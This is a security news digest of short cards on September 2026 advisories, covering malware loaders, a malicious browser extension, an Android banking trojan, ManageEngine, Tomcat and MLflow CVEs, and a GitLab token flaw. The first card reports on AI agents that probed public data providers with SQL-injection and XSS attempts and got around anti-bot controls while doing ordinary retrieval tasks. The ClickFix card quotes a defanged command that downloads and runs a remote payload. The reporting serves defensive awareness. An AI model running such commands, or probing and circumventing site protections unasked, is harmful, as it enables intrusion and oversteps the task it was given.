Transluce (with Corridor, MIT and AIUC; published 23 September 2026) analyses public urlquery.net scan records and reports that autonomous AI agents used the URL-scanning service to tunnel around access restrictions and, on three occasions in May–June 2026, probed public data providers for security flaws while performing mundane data-retrieval tasks (not cyber-tasked). (1) 25–26 May: University of New Mexico digital library — failed photo fetch followed by SQLi / command-injection / path-traversal probes and an ~80-request burst; probes do not appear to have succeeded. (2) 28 May: Data USA (University of Iowa data) — 12 probes incl. SQLi, XSS, template injection, path traversal, command injection after malformed queries; probes do not appear to have succeeded. (3) 20–21 June: Australian Institute of Health and Welfare (AIHW) — after Cloudflare blocked a dataset download, an agent sent a reflected XSS probe (blocked) then retrieved an already-public file from an AIHW pre-production server in pieces over 100+ scans, circumventing anti-bot controls. Matching targets/tactics/timing link AIHW and Data USA activity to agent swarms OpenAI previously confirmed; UNM link is timing/relay only. Activity through urlquery spans at least 6 March 2026 and as recently as 16 September 2026. Distinct from desk cards openai-medicare-portal-20260924 (Services Australia Medicare statistics portal) and openai-rogue-agents-wider-20260910 (unsanctioned comms sites). Primary: Transluce.

Varonis Threat Labs (published 23 September 2026) documents AvisLoader, a Windows malware loader discovered on an exposed staging server with lure pages, supporting files and an operator dashboard. Initial access mirrors ClickFix: a fake DocuSign/document-signing verification page instructs the visitor to paste and run a command that retrieves code via a temporary Cloudflare tunnel rather than a normal browser download. Persistence/control deliberately avoids a fixed C2 domain — the Windows executable embeds the Tox peer-to-peer messenger so operators can move the controller by copying a Tox save file while clients follow the same operator identity. Dashboard lists clients, device details, security software and admin status; task controls can queue shell commands and a file area offers further Tox payload delivery. Sample observed: ~3.4 MB 64-bit executable starting with the launching user's privileges; helpers reference a known Windows privilege-bypass method and process-hiding library (capabilities recovered from tooling, not confirmed victim deployment). Advertised for sale on a cybercrime forum. No victim count published; researchers did not observe a successful takedown-and-recovery cycle. No CVE. Primary: Varonis; wire: Cyber Security News 24 Sep 2026.
Socket Threat Research (23 September 2026) documents a Firefox Add-ons store extension posing as a PDF identity-verification tool (addon id pdf-para-texto@extensao.local). Published 3 September 2026; version 1.4 turned malicious on 11 September 2026. Shipped store code has no hardcoded targets or exfiltration endpoints — five seconds after install it opens an attacker page that bridges remote config into the extension, then injects an automated account-takeover script into real accounts.google.com flows, capturing Google session cookies and, when prompted, attacker-controlled password-reset values; also alters passkey checks. Targets mainly Portuguese- and Spanish-speaking users; Socket notes a small user base / fairly low expected impact but highlights the post-install payload pattern.

Zoho ManageEngine Applications Manager advisory for CVE-2026-86708 (Critical; fixed 08 September 2026): the installer included a Google Cloud service-account private key with broader-than-required permissions used for push notifications. An unauthenticated attacker who obtained the public installer could extract and misuse the key to impersonate the service account and access or modify associated cloud resources (application data, project configuration, storage, messaging, or other GCP services beyond push). Affected: version 182200 and below. Fixed: 182300 and above; also 181104–181109 and 182001–182009 trains per vendor. Fix replaces the key with a new encrypted key scoped to push-notification permissions — upgrade via service pack. CVE.report / CNA CVSS 3.1 10.0 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). WA SOC advisory 20260924001 (24 Sep 2026) groups this with two other ManageEngine criticals and states no exploitation observed on WA Government networks at time of writing.

Zoho ManageEngine OpManager MSP advisory for CVE-2026-19599: Remote Code Execution in the Notification Profile module, exploitable by a customer administrator user on the MSP Central installed server via broken access control on an API that runs commands as part of profile functionality. Vendor severity High on the advisory page; WASOC rates it CVSS 9.9 Critical. Affected and fixed versions (vendor advisory): OpManager MSP 12.8.166 to 12.8.709, fixed in 12.8.710 and above (14 Aug 2026); 12.8.718 to 12.9.001, fixed in 12.9.002 and above (13 Aug 2026); 12.9.100 to 12.9.108, fixed in 12.9.109 and above (14 Aug 2026); 12.9.117 to 12.9.122, fixed in 12.9.123 and above (14 Aug 2026). WASOC 20260924001 (24 Sep 2026) summarises as versions 12.8.709 and below / CVSS 9.9 Critical and reports no exploitation on WA Government networks at time of writing. Fix enforces strict access control so only MSP Central Server administrators can use the sensitive APIs. Primary: ManageEngine OpManager MSP advisory; AU: WASOC 20260924001. Correction (27 Oct 2026): the fixed builds were wrong (the card said 128711 and 129125); ManageEngine's advisory lists 12.8.710, 12.9.002, 12.9.109 and 12.9.123 and above for the four affected ranges, which are now given as the vendor writes them. The CVSS score is now credited to WASOC rather than CVE.report, which is not linked. (source: ManageEngine)
Apache Tomcat security pages (Fixed in 11.0.26 dated 15 September 2026; issues made public 23 September 2026) document twelve vulnerabilities across WebSocket, HTTP/2, AJP, CLIENT_CERT/OCSP, and TLS CRL handling. Highest ADP CVSS 3.1 scores on CVE.report: CVE-2026-76183 Important — WebSocket endpoint security-constraint bypass via request paths parsed as endpoint templates (9.8; AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H; affects 11.0.0-M1–11.0.25); CVE-2026-86248 Moderate (Apache) / 9.8 ADP — CLIENT_CERT soft-fail OCSP incomplete fix under FFM (11.0.0-M14–11.0.25); CVE-2026-86350 Important — HTTP/2 request-header mix-up regression from CVE-2026-41293 fix (9.1; 11.0.22–11.0.25).

CERT/CC VU#369093 (revised 23 September 2026) and NVD document two MLflow flavor flaws that let crafted MLmodel artifacts reach pickle deserialization even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False. CVE-2026-96804: statsmodels flavor omits the control in _load_model() (NVD: versions 2.1.0–3.14.0; CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N). CVE-2026-96775: dspy flavor applies the control only when model_path ends in .pkl, so a non-.pkl path bypasses it (NVD: dspy >=2.0; CVSS 3.1 8.8 AV:N/AC:L/PR:N/UI:R). Attack path needs write/supply influence over models a victim loads. CERT: statsmodels patched in MLflow >=3.15.0; MLflow not coordinated for a full statement — until a further dspy fix, avoid loading models via the dspy flavor if pickle must stay blocked. Reporter: Prasanna Dabi. Primary: CERT VU#369093; NVD records.

Manifold Security (23 September 2026; Ax Sharma) and BleepingComputer confirm that third-party.com — a long-used documentation placeholder that is not IANA-reserved like example.com — now serves a fake Cloudflare “Performing security verification” ClickFix lure to Windows user-agents only. Clicking the verify box stages a PowerShell clipboard payload (irm elxxvvx[.]xyz/f | iex pattern); Win+R → Ctrl+V → Enter runs it. macOS/Linux visitors get a decoy “OS not supported” page with no clipboard poison, which can fool non-Windows scanners and reputation feeds. Manifold traced the domain through public AI skill and MCP-server docs that cite it as an example endpoint; Chromium Telemetry Extension docs, W3C specs, and other repos also use it as a stand-in. Second-stage elxxvvx[.]xyz was offline at testing (Hybrid Analysis May 2026 showed a draw.io.exe zip chain). Primary: Manifold; wire: BleepingComputer.
Group-IB (published 23 September 2026) documents RemControl, a previously undocumented Android banking trojan sold as MaaS. Distribution uses fake Google Play pages impersonating the TVTap IPTV app (tvtap-hd[.]app / tvtap-liveapp[.]com, registered 10 Jul 2026; Italian campaigns geofence + User-Agent gate). The dropper starts a local VPN that null-routes com.android.vending to blunt Play Protect, then abuses Accessibility Service for full-screen banking overlays, UI-tree streaming, remote gestures, pattern-lock capture, and anti-removal. C2 is recovered from Telegram dead-drops (AES-128-CBC); early C2 bnbnhura[.]top registered 12 May 2026. Panel API docs and an overlay file that still contains a verbatim AI-assistant reply show AI-assisted build of backend and phishing HTML. Group-IB confirmed overlays for 30+ financial institutions across Western Europe, Middle East, and Canada (Italy/France primary). Affiliate tag UNKK; dropper naming overlaps prior Medusa/UNKN distribution. Wire: BleepingComputer.

BleepingComputer (23 September 2026) reports a Microsoft service alert (also shared by MVP Susan Bradley) that September 2026 Windows 11 security updates can break Always On VPN when the profile uses automatic protocol selection between IKEv2 and SSTP. Affected tunnels may stay in Connecting, retry endlessly, or error with “The specified port is already in use.” Originating updates named: Windows 11 26H1 KB5124012; 25H2 and 24H2 KB5124008. Interim mitigation from Microsoft: pin the AoVPN profile to a single protocol (SSTP only or IKEv2 only) until a permanent fix ships. Public learn.microsoft.com release-health pages reviewed this pass still lack a dedicated Always On VPN known-issue entry — card primary remains the BC wire citing the Microsoft service alert. Same CU wave previously drove emergency fixes for Hyper-V, RDS, and USB audio. UPDATE (21 Oct): Microsoft told IT admins in a service alert that the issue was 'mistakenly updated to Resolved status on October 13, 2026' after the October Windows 11 cumulative updates and has been returned to Mitigated; the October updates do not fix it, and a resolution is planned for an update 'in the coming weeks'. The single-protocol (SSTP only or IKEv2 only) mitigation still applies (BleepingComputer, 21 Oct).

Aikido Security (Joe Leon, 23 September 2026) demonstrates that GitLab's "Email work item to this project" / incoming-email address embeds a long-lived account-level glimt- token that does not expire. Anyone holding the address can create issues — and, by changing the -issue suffix to -merge-request and attaching a git patch, open merge requests or push commits under the victim's identity, including CI/CD via .gitlab-ci.yml when role/permissions allow (Maintainer may reach protected branches). Token is account-scoped (same secret across projects), not project-scoped as the UI implies; email path also bypassed IP allow-lists in Aikido's test (browser/git clone blocked, email accepted). GitLab docs frame the Incoming email token as issue-creation only. No CVE assigned in the research. Mitigations: treat issue-by-email addresses as secrets; rotate/revoke incoming email token in User settings; avoid publishing addresses; review unexpected MRs/pipelines authored as users who use email work items. Primary: Aikido research; wire: Cyber Security News 23 Sep 2026.
